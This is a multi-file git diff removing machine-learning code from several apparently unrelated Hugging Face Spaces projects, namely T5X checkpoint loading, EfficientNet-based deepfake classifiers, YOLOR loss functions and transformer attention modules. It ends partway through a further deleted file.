maybe_tspec - local_chunk_info = partitioning.LocalChunkInfo( - slice=(slice(None, None),), replica_id=0) - return _ParameterInfo( - name='', # We don't ever use the name. - shape=tuple(tspec.to_json()['metadata']['shape']) if tspec else None, - # We just believe the spec in the file. - ts_spec=tspec, - local_chunk_info=local_chunk_info, - axes=None) - - -def find_checkpoint(path: str, step: Optional[int] = None) -> str: - """Find the checkpoint file based on paths and steps. - - Args: - path: The location of the checkpoint. Can point to the `model_dir`, the - checkpoint dir with a step, or the actual checkpoint file. - step: The step to load. Only used if you are pointing to the `model_dir` - - Raises: - ValueError if the checkpoint file can't be found. - - Returns: - The path to the checkpoint file. - """ - # If you aren't pointing at the msgpack checkpoint file - if gfile.isdir(path): - # If you didn't specify a step - if step is None: - # Try to get the most recent step. - step = latest_step(path) - # If you found a step then you were pointing at model_dir, set the path to - # the msgpack file in the checkpoint dir. - if step: - path = get_checkpoint_dir(path, step) - # You gave a step, use it. - else: - path = get_checkpoint_dir(path, step) - # Whether you supplied a step, found a step, or were already pointing at the - # step, you are not pointing at a step directory, so now point to the - # msgpack file. - path = os.path.join(path, 'checkpoint') - # You weren't point to a dir so you were pointing at the msgpack file. - # Check that we found a checkpoint file. - if not gfile.exists(path) or gfile.isdir(path): - raise ValueError(f'Path is not a valid checkpoint: {path}') - return path - - -def load_t5x_checkpoint( - path: str, - step: Optional[int] = None, - state_transformation_fns: Sequence[RestoreStateTransformationFn] = (), - remap: bool = True, - restore_dtype: Optional[jnp.dtype] = None, - lazy_parameters: bool = False) -> PyTreeDef: - """Load a T5X checkpoint without pre-defining the optimizer. - - Note: - This only works for T5X checkpoints, not TF checkpoints. - - Args: - path: The location of the checkpoint. - step: The checkpoint from which step should be loaded. - state_transformation_fns: Transformations to apply, in order, to the state - after reading. - remap: Whether to rename the checkpoint variables to the newest version. - restore_dtype: optional dtype to cast targets to after restoring. If None, - no parameter casting is performed. - lazy_parameters: whether to load the parameters as LazyArrays to preserve - memory. - - Returns: - A nested dictionary of weights and parameter states from the checkpoint. - """ - path = find_checkpoint(path, step) - logging.info('Restoring from checkpoint: %s', path) - - # The msgpack file will have all the info we need about the parameter layout. - with gfile.GFile(path, 'rb') as fp: - ckpt_contents = serialization.msgpack_restore(fp.read()) - - # If reading a ckpt that was written with gfile driver but the current - # session uses the gcs driver, convert the ckpt's driver to gcs. - if path.startswith('gs://'): - ckpt_contents = _maybe_update_ts_from_file_to_gcs(ckpt_contents) - # If a ckpt was saved in gcs and is being loaded locally, then convert the - # driver to file or gfile. If the ckpt was not saved in gcs, do not change. - else: - ckpt_contents = _maybe_update_ts_from_gcs_to_file(ckpt_contents) - - # Remap that variable names to the most recent formatting. - if remap: - ckpt_optimizer_state = _get_optimizer_state_dict(ckpt_contents, {}, - state_transformation_fns) - # If we aren't remapping names we at least need to index into the checkpoint - # file blob to make sure we are only dealing with the optimizer state. - else: - # Grab a subsection of the file depending on the version. - version = ckpt_contents.get('version', 0) - if version == 0: - ckpt_optimizer_state = ckpt_contents - else: - ckpt_optimizer_state = ckpt_contents['optimizer'] - - # Replace all dicts of tensorstore specs with actual `ts.Spec`s. - # When a checkpoint was trained using a MultiOptimizer, some of the parameter - # states may be set to `None` (when a parameter was untouched by any - # optimizer). We still needs references to these in our state so we keep - # empty nodes. - ckpt_optimizer_state_with_specs = ( - state_utils.flatten_state_dict( - ckpt_optimizer_state, keep_empty_nodes=True)) - ckpt_optimizer_state_with_specs = { - k: ts.Spec(v) if isinstance(v, dict) else v - for k, v in ckpt_optimizer_state_with_specs.items() - } - - # Create fake parameter info that results in reading the whole variable. - param_infos = { - k: fake_param_info(v) for k, v in ckpt_optimizer_state_with_specs.items() - } - - ckpt_optimizer_state_with_specs = traverse_util.unflatten_dict( - ckpt_optimizer_state_with_specs, sep='/') - param_infos = traverse_util.unflatten_dict(param_infos, sep='/') - - def _create_lazy_awaitable_array( - param_info: _ParameterInfo, maybe_ts_spec: Any, ckpt_path: str, - restore_dtype: Optional[jnp.dtype]) -> LazyAwaitableArray: - get_fn = functools.partial( - _read_ts, - param_info, - maybe_ts_spec, - ckpt_path=ckpt_path, - restore_dtype=restore_dtype) - return LazyAwaitableArray.from_tensor_store_spec_or_array( - maybe_ts_spec, get_fn, dtype=restore_dtype) - - state_dict = jax.tree_multimap( - functools.partial( - _create_lazy_awaitable_array, - ckpt_path=path, - restore_dtype=restore_dtype), param_infos, - ckpt_optimizer_state_with_specs) - - if not lazy_parameters: - future_state_dict = jax.tree_map(lambda x: x.get_async(), state_dict) - state_dict = _run_future_tree(future_state_dict) - - if restore_dtype is not None: - state_dict['target'] = _cast(state_dict['target'], restore_dtype) - return state_dict diff --git a/spaces/jungwoonshin/deepfake_detection_reimplementation/classifiers.py b/spaces/jungwoonshin/deepfake_detection_reimplementation/classifiers.py deleted file mode 100644 index f5899c3ee9d71d3f9ea7ad31c53ce6ed3f9c7e2c..0000000000000000000000000000000000000000 --- a/spaces/jungwoonshin/deepfake_detection_reimplementation/classifiers.py +++ /dev/null @@ -1,172 +0,0 @@ -from functools import partial - -import numpy as np -import torch -from timm.models.efficientnet import tf_efficientnet_b4_ns, tf_efficientnet_b3_ns, \ - tf_efficientnet_b5_ns, tf_efficientnet_b2_ns, tf_efficientnet_b6_ns, tf_efficientnet_b7_ns -from torch import nn -from torch.nn.modules.dropout import Dropout -from torch.nn.modules.linear import Linear -from torch.nn.modules.pooling import AdaptiveAvgPool2d - -encoder_params = { - "tf_efficientnet_b3_ns": { - "features": 1536, - "init_op": partial(tf_efficientnet_b3_ns, pretrained=True, drop_path_rate=0.2) - }, - "tf_efficientnet_b2_ns": { - "features": 1408, - "init_op": partial(tf_efficientnet_b2_ns, pretrained=False, drop_path_rate=0.2) - }, - "tf_efficientnet_b4_ns": { - "features": 1792, - "init_op": partial(tf_efficientnet_b4_ns, pretrained=True, drop_path_rate=0.5) - }, - "tf_efficientnet_b5_ns": { - "features": 2048, - "init_op": partial(tf_efficientnet_b5_ns, pretrained=True, drop_path_rate=0.2) - }, - "tf_efficientnet_b4_ns_03d": { - "features": 1792, - "init_op": partial(tf_efficientnet_b4_ns, pretrained=True, drop_path_rate=0.3) - }, - "tf_efficientnet_b5_ns_03d": { - "features": 2048, - "init_op": partial(tf_efficientnet_b5_ns, pretrained=True, drop_path_rate=0.3) - }, - "tf_efficientnet_b5_ns_04d": { - "features": 2048, - "init_op": partial(tf_efficientnet_b5_ns, pretrained=True, drop_path_rate=0.4) - }, - "tf_efficientnet_b6_ns": { - "features": 2304, - "init_op": partial(tf_efficientnet_b6_ns, pretrained=True, drop_path_rate=0.2) - }, - "tf_efficientnet_b7_ns": { - "features": 2560, - "init_op": partial(tf_efficientnet_b7_ns, pretrained=True, drop_path_rate=0.2) - }, - "tf_efficientnet_b6_ns_04d": { - "features": 2304, - "init_op": partial(tf_efficientnet_b6_ns, pretrained=True, drop_path_rate=0.4) - }, -} - - -def setup_srm_weights(input_channels: int = 3) -> torch.Tensor: - """Creates the SRM kernels for noise analysis.""" - # note: values taken from Zhou et al., "Learning Rich Features for Image Manipulation Detection", CVPR2018 - srm_kernel = torch.from_numpy(np.array([ - [ # srm 1/2 horiz - [0., 0., 0., 0., 0.], # noqa: E241,E201 - [0., 0., 0., 0., 0.], # noqa: E241,E201 - [0., 1., -2., 1., 0.], # noqa: E241,E201 - [0., 0., 0., 0., 0.], # noqa: E241,E201 - [0., 0., 0., 0., 0.], # noqa: E241,E201 - ], [ # srm 1/4 - [0., 0., 0., 0., 0.], # noqa: E241,E201 - [0., -1., 2., -1., 0.], # noqa: E241,E201 - [0., 2., -4., 2., 0.], # noqa: E241,E201 - [0., -1., 2., -1., 0.], # noqa: E241,E201 - [0., 0., 0., 0., 0.], # noqa: E241,E201 - ], [ # srm 1/12 - [-1., 2., -2., 2., -1.], # noqa: E241,E201 - [2., -6., 8., -6., 2.], # noqa: E241,E201 - [-2., 8., -12., 8., -2.], # noqa: E241,E201 - [2., -6., 8., -6., 2.], # noqa: E241,E201 - [-1., 2., -2., 2., -1.], # noqa: E241,E201 - ] - ])).float() - srm_kernel[0] /= 2 - srm_kernel[1] /= 4 - srm_kernel[2] /= 12 - return srm_kernel.view(3, 1, 5, 5).repeat(1, input_channels, 1, 1) - - -def setup_srm_layer(input_channels: int = 3) -> torch.nn.Module: - """Creates a SRM convolution layer for noise analysis.""" - weights = setup_srm_weights(input_channels) - conv = torch.nn.Conv2d(input_channels, out_channels=3, kernel_size=5, stride=1, padding=2, bias=False) - with torch.no_grad(): - conv.weight = torch.nn.Parameter(weights, requires_grad=False) - return conv - - -class DeepFakeClassifierSRM(nn.Module): - def __init__(self, encoder, dropout_rate=0.5) -> None: - super().__init__() - self.encoder = encoder_params[encoder]["init_op"]() - self.avg_pool = AdaptiveAvgPool2d((1, 1)) - self.srm_conv = setup_srm_layer(3) - self.dropout = Dropout(dropout_rate) - self.fc = Linear(encoder_params[encoder]["features"], 1) - - def forward(self, x): - noise = self.srm_conv(x) - x = self.encoder.forward_features(noise) - x = self.avg_pool(x).flatten(1) - x = self.dropout(x) - x = self.fc(x) - return x - - -class GlobalWeightedAvgPool2d(nn.Module): - """ - Global Weighted Average Pooling from paper "Global Weighted Average - Pooling Bridges Pixel-level Localization and Image-level Classification" - """ - - def __init__(self, features: int, flatten=False): - super().__init__() - self.conv = nn.Conv2d(features, 1, kernel_size=1, bias=True) - self.flatten = flatten - - def fscore(self, x): - m = self.conv(x) - m = m.sigmoid().exp() - return m - - def norm(self, x: torch.Tensor): - return x / x.sum(dim=[2, 3], keepdim=True) - - def forward(self, x): - input_x = x - x = self.fscore(x) - x = self.norm(x) - x = x * input_x - x = x.sum(dim=[2, 3], keepdim=not self.flatten) - return x - - -class DeepFakeClassifier(nn.Module): - def __init__(self, encoder, dropout_rate=0.0) -> None: - super().__init__() - self.encoder = encoder_params[encoder]["init_op"]() - self.avg_pool = AdaptiveAvgPool2d((1, 1)) - self.dropout = Dropout(dropout_rate) - self.fc = Linear(encoder_params[encoder]["features"], 1) - - def forward(self, x): - x = self.encoder.forward_features(x) - x = self.avg_pool(x).flatten(1) - x = self.dropout(x) - x = self.fc(x) - return x - - - - -class DeepFakeClassifierGWAP(nn.Module): - def __init__(self, encoder, dropout_rate=0.5) -> None: - super().__init__() - self.encoder = encoder_params[encoder]["init_op"]() - self.avg_pool = GlobalWeightedAvgPool2d(encoder_params[encoder]["features"]) - self.dropout = Dropout(dropout_rate) - self.fc = Linear(encoder_params[encoder]["features"], 1) - - def forward(self, x): - x = self.encoder.forward_features(x) - x = self.avg_pool(x).flatten(1) - x = self.dropout(x) - x = self.fc(x) - return x \ No newline at end of file diff --git a/spaces/kadirnar/yolor/yolor/utils/loss.py b/spaces/kadirnar/yolor/yolor/utils/loss.py deleted file mode 100644 index dab545ec7d655bd3d1376d3adbe6be1461f6add2..0000000000000000000000000000000000000000 --- a/spaces/kadirnar/yolor/yolor/utils/loss.py +++ /dev/null @@ -1,173 +0,0 @@ -# Loss functions - -import torch -import torch.nn as nn - -from ylor.utils.general import bbox_iou -from ylor.utils.torch_utils import is_parallel - - -def smooth_BCE(eps=0.1): # https://github.com/ultralytics/yolov3/issues/238#issuecomment-598028441 - # return positive, negative label smoothing BCE targets - return 1.0 - 0.5 * eps, 0.5 * eps - - -class BCEBlurWithLogitsLoss(nn.Module): - # BCEwithLogitLoss() with reduced missing label effects. - def __init__(self, alpha=0.05): - super(BCEBlurWithLogitsLoss, self).__init__() - self.loss_fcn = nn.BCEWithLogitsLoss(reduction='none') # must be nn.BCEWithLogitsLoss() - self.alpha = alpha - - def forward(self, pred, true): - loss = self.loss_fcn(pred, true) - pred = torch.sigmoid(pred) # prob from logits - dx = pred - true # reduce only missing label effects - # dx = (pred - true).abs() # reduce missing label and false label effects - alpha_factor = 1 - torch.exp((dx - 1) / (self.alpha + 1e-4)) - loss *= alpha_factor - return loss.mean() - - -class FocalLoss(nn.Module): - # Wraps focal loss around existing loss_fcn(), i.e. criteria = FocalLoss(nn.BCEWithLogitsLoss(), gamma=1.5) - def __init__(self, loss_fcn, gamma=1.5, alpha=0.25): - super(FocalLoss, self).__init__() - self.loss_fcn = loss_fcn # must be nn.BCEWithLogitsLoss() - self.gamma = gamma - self.alpha = alpha - self.reduction = loss_fcn.reduction - self.loss_fcn.reduction = 'none' # required to apply FL to each element - - def forward(self, pred, true): - loss = self.loss_fcn(pred, true) - # p_t = torch.exp(-loss) - # loss *= self.alpha * (1.000001 - p_t) ** self.gamma # non-zero power for gradient stability - - # TF implementation https://github.com/tensorflow/addons/blob/v0.7.1/tensorflow_addons/losses/focal_loss.py - pred_prob = torch.sigmoid(pred) # prob from logits - p_t = true * pred_prob + (1 - true) * (1 - pred_prob) - alpha_factor = true * self.alpha + (1 - true) * (1 - self.alpha) - modulating_factor = (1.0 - p_t) ** self.gamma - loss *= alpha_factor * modulating_factor - - if self.reduction == 'mean': - return loss.mean() - elif self.reduction == 'sum': - return loss.sum() - else: # 'none' - return loss - - -def compute_loss(p, targets, model): # predictions, targets, model - device = targets.device - #print(device) - lcls, lbox, lobj = torch.zeros(1, device=device), torch.zeros(1, device=device), torch.zeros(1, device=device) - tcls, tbox, indices, anchors = build_targets(p, targets, model) # targets - h = model.hyp # hyperparameters - - # Define criteria - BCEcls = nn.BCEWithLogitsLoss(pos_weight=torch.Tensor([h['cls_pw']])).to(device) - BCEobj = nn.BCEWithLogitsLoss(pos_weight=torch.Tensor([h['obj_pw']])).to(device) - - # Class label smoothing https://arxiv.org/pdf/1902.04103.pdf eqn 3 - cp, cn = smooth_BCE(eps=0.0) - - # Focal loss - g = h['fl_gamma'] # focal loss gamma - if g > 0: - BCEcls, BCEobj = FocalLoss(BCEcls, g), FocalLoss(BCEobj, g) - - # Losses - nt = 0 # number of targets - no = len(p) # number of outputs - balance = [4.0, 1.0, 0.4] if no == 3 else [4.0, 1.0, 0.4, 0.1] # P3-5 or P3-6 - balance = [4.0, 1.0, 0.5, 0.4, 0.1] if no == 5 else balance - for i, pi in enumerate(p): # layer index, layer predictions - b, a, gj, gi = indices[i] # image, anchor, gridy, gridx - tobj = torch.zeros_like(pi[..., 0], device=device) # target obj - - n = b.shape[0] # number of targets - if n: - nt += n # cumulative targets - ps = pi[b, a, gj, gi] # prediction subset corresponding to targets - - # Regression - pxy = ps[:, :2].sigmoid() * 2. - 0.5 - pwh = (ps[:, 2:4].sigmoid() * 2) ** 2 * anchors[i] - pbox = torch.cat((pxy, pwh), 1).to(device) # predicted box - iou = bbox_iou(pbox.T, tbox[i], x1y1x2y2=False, CIoU=True) # iou(prediction, target) - lbox += (1.0 - iou).mean() # iou loss - - # Objectness - tobj[b, a, gj, gi] = (1.0 - model.gr) + model.gr * iou.detach().clamp(0).type(tobj.dtype) # iou ratio - - # Classification - if model.nc > 1: # cls loss (only if multiple classes) - t = torch.full_like(ps[:, 5:], cn, device=device) # targets - t[range(n), tcls[i]] = cp - lcls += BCEcls(ps[:, 5:], t) # BCE - - # Append targets to text file - # with open('targets.txt', 'a') as file: - # [file.write('%11.5g ' * 4 % tuple(x) + '\n') for x in torch.cat((txy[i], twh[i]), 1)] - - lobj += BCEobj(pi[..., 4], tobj) * balance[i] # obj loss - - s = 3 / no # output count scaling - lbox *= h['box'] * s - lobj *= h['obj'] * s * (1.4 if no >= 4 else 1.) - lcls *= h['cls'] * s - bs = tobj.shape[0] # batch size - - loss = lbox + lobj + lcls - return loss * bs, torch.cat((lbox, lobj, lcls, loss)).detach() - - -def build_targets(p, targets, model): - nt = targets.shape[0] # number of anchors, targets - tcls, tbox, indices, anch = [], [], [], [] - gain = torch.ones(6, device=targets.device) # normalized to gridspace gain - off = torch.tensor([[1, 0], [0, 1], [-1, 0], [0, -1]], device=targets.device).float() # overlap offsets - - g = 0.5 # offset - multi_gpu = is_parallel(model) - for i, jj in enumerate(model.module.yolo_layers if multi_gpu else model.yolo_layers): - # get number of grid points and anchor vec for this yolo layer - anchors = model.module.module_list[jj].anchor_vec if multi_gpu else model.module_list[jj].anchor_vec - gain[2:] = torch.tensor(p[i].shape)[[3, 2, 3, 2]] # xyxy gain - - # Match targets to anchors - a, t, offsets = [], targets * gain, 0 - if nt: - na = anchors.shape[0] # number of anchors - at = torch.arange(na).view(na, 1).repeat(1, nt) # anchor tensor, same as .repeat_interleave(nt) - r = t[None, :, 4:6] / anchors[:, None] # wh ratio - j = torch.max(r, 1. / r).max(2)[0] < model.hyp['anchor_t'] # compare - # j = wh_iou(anchors, t[:, 4:6]) > model.hyp['iou_t'] # iou(3,n) = wh_iou(anchors(3,2), gwh(n,2)) - a, t = at[j], t.repeat(na, 1, 1)[j] # filter - - # overlaps - gxy = t[:, 2:4] # grid xy - z = torch.zeros_like(gxy) - j, k = ((gxy % 1. < g) & (gxy > 1.)).T - l, m = ((gxy % 1. > (1 - g)) & (gxy < (gain[[2, 3]] - 1.))).T - a, t = torch.cat((a, a[j], a[k], a[l], a[m]), 0), torch.cat((t, t[j], t[k], t[l], t[m]), 0) - offsets = torch.cat((z, z[j] + off[0], z[k] + off[1], z[l] + off[2], z[m] + off[3]), 0) * g - - # Define - b, c = t[:, :2].long().T # image, class - gxy = t[:, 2:4] # grid xy - gwh = t[:, 4:6] # grid wh - gij = (gxy - offsets).long() - gi, gj = gij.T # grid xy indices - - # Append - #indices.append((b, a, gj, gi)) # image, anchor, grid indices - indices.append((b, a, gj.clamp_(0, gain[3] - 1), gi.clamp_(0, gain[2] - 1))) # image, anchor, grid indices - tbox.append(torch.cat((gxy - gij, gwh), 1)) # box - anch.append(anchors[a]) # anchors - tcls.append(c) # class - - return tcls, tbox, indices, anch - diff --git a/spaces/keremberke/football-object-detection/README.md b/spaces/keremberke/football-object-detection/README.md deleted file mode 100644 index dfe90ebadc40e2d01b10438015d8bee3b6b3a847..0000000000000000000000000000000000000000 --- a/spaces/keremberke/football-object-detection/README.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Football Object Detection -emoji: 🎮 -colorFrom: red -colorTo: gray -sdk: gradio -sdk_version: 3.15.0 -app_file: app.py -pinned: false ---- - -Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference diff --git a/spaces/kevinwang676/ChatGLM2-SadTalker/src/face3d/models/arcface_torch/configs/__init__.py b/spaces/kevinwang676/ChatGLM2-SadTalker/src/face3d/models/arcface_torch/configs/__init__.py deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/spaces/kevinwang676/rvc-mlbb-v2/lib/infer_pack/attentions.py b/spaces/kevinwang676/rvc-mlbb-v2/lib/infer_pack/attentions.py deleted file mode 100644 index 05501be1871643f78dddbeaa529c96667031a8db..0000000000000000000000000000000000000000 --- a/spaces/kevinwang676/rvc-mlbb-v2/lib/infer_pack/attentions.py +++ /dev/null @@ -1,417 +0,0 @@ -import copy -import math -import numpy as np -import torch -from torch import nn -from torch.nn import functional as F - -from lib.infer_pack import commons -from lib.infer_pack import modules -from lib.infer_pack.modules import LayerNorm - - -class Encoder(nn.Module): - def __init__( - self, - hidden_channels, - filter_channels, - n_heads, - n_layers, - kernel_size=1, - p_dropout=0.0, - window_size=10, - **kwargs - ): - super().__init__() - self.hidden_channels = hidden_channels - self.filter_channels = filter_channels - self.n_heads = n_heads - self.n_layers = n_layers - self.kernel_size = kernel_size - self.p_dropout = p_dropout - self.window_size = window_size - - self.drop = nn.Dropout(p_dropout) - self.attn_layers = nn.ModuleList() - self.norm_layers_1 = nn.ModuleList() - self.ffn_layers = nn.ModuleList() - self.norm_layers_2 = nn.ModuleList() - for i in range(self.n_layers): - self.attn_layers.append( - MultiHeadAttention( - hidden_channels, - hidden_channels, - n_heads, - p_dropout=p_dropout, - window_size=window_size, - ) - ) - self.norm_layers_1.append(LayerNorm(hidden_channels)) - self.ffn_layers.append( - FFN( - hidden_channels, - hidden_channels, - filter_channels, - kernel_size, - p_dropout=p_dropout, - ) - ) - self.norm_layers_2.append(LayerNorm(hidden_channels)) - - def forward(self, x, x_mask): - attn_mask = x_mask.unsqueeze(2) * x_mask.unsqueeze(-1) - x = x * x_mask - for i in range(self.n_layers): - y = self.attn_layers[i](x, x, attn_mask) - y = self.drop(y) - x = self.norm_layers_1[i](x + y) - - y = self.ffn_layers[i](x, x_mask) - y = self.drop(y) - x = self.norm_layers_2[i](x + y) - x = x * x_mask - return x - - -class Decoder(nn.Module): - def __init__( - self, - hidden_channels, - filter_channels, - n_heads, - n_layers, - kernel_size=1, - p_dropout=0.0, - proximal_bias=False, - proximal_init=True, - **kwargs - ): - super().__init__() - self.hidden_channels = hidden_channels - self.filter_channels = filter_channels - self.n_heads = n_heads - self.n_layers = n_layers - self.kernel_size = kernel_size - self.p_dropout = p_dropout - self.proximal_bias = proximal_bias - self.proximal_init = proximal_init - - self.drop = nn.Dropout(p_dropout) - self.self_attn_layers = nn.ModuleList() - self.norm_layers_0 = nn.ModuleList() - self.encdec_attn_layers = nn.ModuleList() - self.norm_layers_1 = nn.ModuleList() - self.ffn_layers = nn.ModuleList() - self.norm_layers_2 = nn.ModuleList() - for i in range(self.n_layers): - self.self_attn_layers.append( - MultiHeadAttention( - hidden_channels, - hidden_channels, - n_heads, - p_dropout=p_dropout, - proximal_bias=proximal_bias, - proximal_init=proximal_init, - ) - ) - self.norm_layers_0.append(LayerNorm(hidden_channels)) - self.encdec_attn_layers.append( - MultiHeadAttention( - hidden_channels, hidden_channels, n_heads, p_dropout=p_dropout - ) - ) - self.norm_layers_1.append(LayerNorm(hidden_channels)) - self.ffn_layers.append( - FFN( - hidden_channels, - hidden_channels, - filter_channels, - kernel_size, - p_dropout=p_dropout, - causal=True, - ) - ) - self.norm_layers_2.append(LayerNorm(hidden_channels)) - - def forward(self, x, x_mask, h, h_mask): - """ - x: decoder input - h: encoder output - """ - self_attn_mask = commons.subsequent_mask(x_mask.size(2)).to( - device=x.device, dtype=x.dtype - ) - encdec_attn_mask = h_mask.unsqueeze(2) * x_mask.unsqueeze(-1) - x = x * x_mask - for i in range(self.n_layers): - y = self.self_attn_layers[i](x, x, self_attn_mask) - y = self.drop(y) - x = self.norm_layers_0[i](x + y) - - y = self.encdec_attn_layers[i](x, h, encdec_attn_mask) - y = self.drop(y) - x = self.norm_layers_1[i](x + y) - - y = self.ffn_layers[i](x, x_mask) - y = self.drop(y) - x = self.norm_layers_2[i](x + y) - x = x * x_mask - return x - - -class MultiHeadAttention(nn.Module): - def __init__( - self, - channels, - out_channels, - n_heads, - p_dropout=0.0, - window_size=None, - heads_share=True, - block_length=None, - proximal_bias=False, - proximal_init=False, - ): - super().__init__() - assert channels % n_heads == 0 - - self.channels = channels - self.out_channels = out_channels - self.n_heads = n_heads - self.p_dropout = p_dropout - self.window_size = window_size - self.heads_share = heads_share - self.block_length = block_length - self.proximal_bias = proximal_bias - self.proximal_init = proximal_init - self.attn = None - - self.k_channels = channels // n_heads - self.conv_q = nn.Conv1d(channels, channels, 1) - self.conv_k = nn.Conv1d(channels, channels, 1) - self.conv_v = nn.Conv1d(channels, channels, 1) - self.conv_o = nn.Conv1d(channels, out_channels, 1) - self.drop = nn.Dropout(p_dropout) - - if window_size is not None: - n_heads_rel = 1 if heads_share else n_heads - rel_stddev = self.k_channels**-0.5 - self.emb_rel_k = nn.Parameter( - torch.randn(n_heads_rel, window_size * 2 + 1, self.k_channels) - * rel_stddev - ) - self.emb_rel_v = nn.Parameter( - torch.randn(n_heads_rel, window_size * 2 + 1, self.k_channels) - * rel_stddev - ) - - nn.init.xavier_uniform_(self.conv_q.weight) - nn.init.xavier_uniform_(self.conv_k.weight) - nn.init.xavier_uniform_(self.conv_v.weight) - if proximal_init: - with torch.no_grad(): - self.conv_k.weight.copy_(self.conv_q.weight) - self.conv_k.bias.copy_(self.conv_q.bias) - - def forward(self, x, c, attn_mask=None): - q = self.conv_q(x) - k = self.conv_k(c) - v = self.conv_v(c) - - x, self.attn = self.attention(q, k, v, mask=attn_mask) - - x = self.conv_o(x) - return x - - def attention(self, query, key, value, mask=None): - # reshape [b, d, t] -> [b, n_h, t, d_k] - b, d, t_s, t_t = (*key.size(), query.size(2)) - query = query.view(b, self.n_heads, self.k_channels, t_t).transpose(2, 3) - key = key.view(b, self.n_heads, self.k_channels, t_s).transpose(2, 3) - value = value.view(b, self.n_heads, self.k_channels, t_s).transpose(2, 3) - - scores = torch.matmul(query / math.sqrt(self.k_channels), key.transpose(-2, -1)) - if self.window_size is not None: - assert ( - t_s == t_t - ), "Relative attention is only available for self-attention." - key_relative_embeddings = self._get_relative_embeddings(self.emb_rel_k, t_s) - rel_logits = self._matmul_with_relative_keys( - query / math.sqrt(self.k_channels), key_relative_embeddings - ) - scores_local = self._relative_position_to_absolute_position(rel_logits) - scores = scores + scores_local - if self.proximal_bias: - assert t_s == t_t, "Proximal bias is only available for self-attention." - scores = scores + self._attention_bias_proximal(t_s).to( - device=scores.device, dtype=scores.dtype - ) - if mask is not None: - scores = scores.masked_fill(mask == 0, -1e4) - if self.block_length is not None: - assert ( - t_s == t_t - ), "Local attention is only available for self-attention." - block_mask = ( - torch.ones_like(scores) - .triu(-self.block_length) - .tril(self.block_length) - ) - scores = scores.masked_fill(block_mask == 0, -1e4) - p_attn = F.softmax(scores, dim=-1) # [b, n_h, t_t, t_s] - p_attn = self.drop(p_attn) - output = torch.matmul(p_attn, value) - if self.window_size is not None: - relative_weights = self._absolute_position_to_relative_position(p_attn) - value_relative_embeddings = self._get_relative_embeddings( - self.emb_rel_v, t_s - ) - output = output + self._matmul_with_relative_values( - relative_weights, value_relative_embeddings - ) - output = ( - output.transpose(2, 3).contiguous().view(b, d, t_t) - ) # [b, n_h, t_t, d_k] -> [b, d, t_t] - return output, p_attn - - def _matmul_with_relative_values(self, x, y): - """ - x: [b, h, l, m] - y: [h or 1, m, d] - ret: [b, h, l, d] - """ - ret = torch.matmul(x, y.unsqueeze(0)) - return ret - - def _matmul_with_relative_keys(self, x, y): - """ - x: [b, h, l, d] - y: [h or 1, m, d] - ret: [b, h, l, m] - """ - ret = torch.matmul(x, y.unsqueeze(0).transpose(-2, -1)) - return ret - - def _get_relative_embeddings(self, relative_embeddings, length): - max_relative_position = 2 * self.window_size + 1 - # Pad first before slice to avoid using cond ops. - pad_length = max(length - (self.window_size + 1), 0) - slice_start_position = max((self.window_size + 1) - length, 0) - slice_end_position = slice_start_position + 2 * length - 1 - if pad_length > 0: - padded_relative_embeddings = F.pad( - relative_embeddings, - commons.convert_pad_shape([[0, 0], [pad_length, pad_length], [0, 0]]), - ) - else: - padded_relative_embeddings = relative_embeddings - used_relative_embeddings = padded_relative_embeddings[ - :, slice_start_position:slice_end_position - ] - return used_relative_embeddings - - def _relative_position_to_absolute_position(self, x): - """ - x: [b, h, l, 2*l-1] - ret: [b, h, l, l] - """ - batch, heads, length, _ = x.size() - # Concat columns of pad to shift from relative to absolute indexing. - x = F.pad(x, commons.convert_pad_shape([[0, 0], [0, 0], [0, 0], [0, 1]])) - - # Concat extra elements so to add up to shape (len+1, 2*len-1). - x_flat = x.view([batch, heads, length * 2 * length]) - x_flat = F.pad( - x_flat, commons.convert_pad_shape([[0, 0], [0, 0], [0, length - 1]]) - ) - - # Reshape and slice out the padded elements. - x_final = x_flat.view([batch, heads, length + 1, 2 * length - 1])[ - :, :, :length, length - 1 : - ] - return x_final - - def _absolute_position_to_relative_position(self, x): - """ - x: [b, h, l, l] - ret: [b, h, l, 2*l-1] - """ - batch, heads, length, _ = x.size() - # padd along column - x = F.pad( - x, commons.convert_pad_shape([[0, 0], [0, 0], [0, 0], [0, length - 1]]) - ) - x_flat = x.view([batch, heads, length**2 + length * (length - 1)]) - # add 0's in the beginning that will skew the elements after reshape - x_flat = F.pad(x_flat, commons.convert_pad_shape([[0, 0], [0, 0], [length, 0]])) - x_final = x_flat.view([batch, heads, length, 2 * length])[:, :, :, 1:] - return x_final - - def _attention_bias_proximal(self, length): - """Bias for self-attention to encourage attention to close positions. - Args: - length: an integer scalar. - Returns: - a Tensor with shape [1, 1, length, length] - """ - r = torch.arange(length, dtype=torch.float32) - diff = torch.unsqueeze(r, 0) - torch.unsqueeze(r, 1) - return torch.unsqueeze(torch.unsqueeze(-torch.log1p(torch.abs(diff)), 0), 0) - - -class FFN(nn.Module): - def __init__( - self, - in_channels, - out_channels, - filter_channels, - kernel_size, - p_dropout=0.0, - activation=None, - causal=False, - ): - super().__init__() - self.in_channels = in_channels - self.out_channels = out_channels - self.filter_channels = filter_channels - self.kernel_size = kernel_size - self.p_dropout = p_dropout - self.activation = activation - self.causal = causal - - if causal: - self.padding = self._causal_padding - else: - self.padding = self._same_padding - - self.conv_1 = nn.Conv1d(in_channels, filter_channels, kernel_size) - self.conv_2 = nn.Conv1d(filter_channels, out_channels, kernel_size) - self.drop = nn.Dropout(p_dropout) - - def forward(self, x, x_mask): - x = self.conv_1(self.padding(x * x_mask)) - if self.activation == "gelu": - x = x * torch.sigmoid(1.702 * x) - else: - x = torch.relu(x) - x = self.drop(x) - x = self.conv_2(self.padding(x * x_mask)) - return x * x_mask - - def _causal_padding(self, x): - if self.kernel_size == 1: - return x - pad_l = self.kernel_size - 1 - pad_r = 0 - padding = [[0, 0], [0, 0], [pad_l, pad_r]] - x = F.pad(x, commons.convert_pad_shape(padding)) - return x - - def _same_padding(self, x): - if self.kernel_size == 1: - return x - pad_l = (self.kernel_size - 1) // 2 - pad_r = self.kernel_size // 2 - padding = [[0, 0], [0, 0], [pad_l, pad_r]] - x = F.pad(x, commons.convert_pad_shape(padding)) - return x diff --git a/spaces/king007/pdfChatter/app.py b/spaces/king007/pdfChatter/app.py deleted file mode 100644 index 